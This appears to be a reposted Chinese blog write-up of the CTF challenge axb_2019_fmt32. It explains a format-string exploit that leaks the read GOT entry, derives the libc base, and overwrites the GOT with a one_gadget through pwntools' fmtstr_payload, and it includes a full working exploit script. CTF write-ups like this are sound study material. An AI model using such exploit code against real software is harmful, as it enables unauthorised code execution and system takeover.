码迷,mamicode.com
首页 > 其他好文 > 详细

关于原来pwntools自带格式化字符串漏洞函数而我不知道一个个字节输入地址这件事——axb_2019_fmt32

时间:2021-04-13 11:52:03      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:ADG   ima   got   process   log   结果   RoCE   漏洞   tst   

技术图片

 

 

 明显的格式化字符串漏洞,没什么好说的

通过%x找到偏移为8

技术图片

 

 

 还是改got表,但是这题没有后门函数,将got表泄露后得到libc基址

然后找到system和bin/sh的地址即可

但我就不明白了他们咋就搞到onegadget的

然后利用格式化字符串漏洞时原来pwntools自带工具的,震惊我一年

使用方法如下

https://blog.csdn.net/weixin_43092232/article/details/105647076

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte‘)
第一个参数是偏移,就是%x$s的x

第二个参数是要替换的地方,一般是{a:b}格式,a是要替换的地址,b是要替换的数据

第三个参数是已经输出的字符

第四个参数是以字节输入

这题最坑的还是接收地址

一开始我用的是%8$x,然而并没什么用

结果是要用%8$s,我真的吐出来

算了,反正无伤大雅

exp:

from pwn import *
from LibcSearcher import *

proc_name = ‘./pwn5‘
p = process(proc_name)
#p = remote(‘node3.buuoj.cn‘, 25239)
elf = ELF(proc_name)
read_got = elf.got[‘read‘]
payload = b‘a‘ + p32(read_got) + b‘%8$s‘
p.sendafter(‘me:‘, payload)
data=u32(p.recv(18)[-4:])
libc=LibcSearcher(‘read‘,data)
print(libc)
pause()
# debug_pause()
libc_base = data - 0x0d4350
one_gadget = libc_base + 0x3a812
payload1 = b‘a‘ + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa)
p.sendafter(‘me:‘, payload1)
p.interactive()
~                                                                               
~                     

 

技术图片

 

关于原来pwntools自带格式化字符串漏洞函数而我不知道一个个字节输入地址这件事——axb_2019_fmt32

标签:ADG   ima   got   process   log   结果   RoCE   漏洞   tst   

原文地址:https://www.cnblogs.com/p201921420037/p/14646466.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!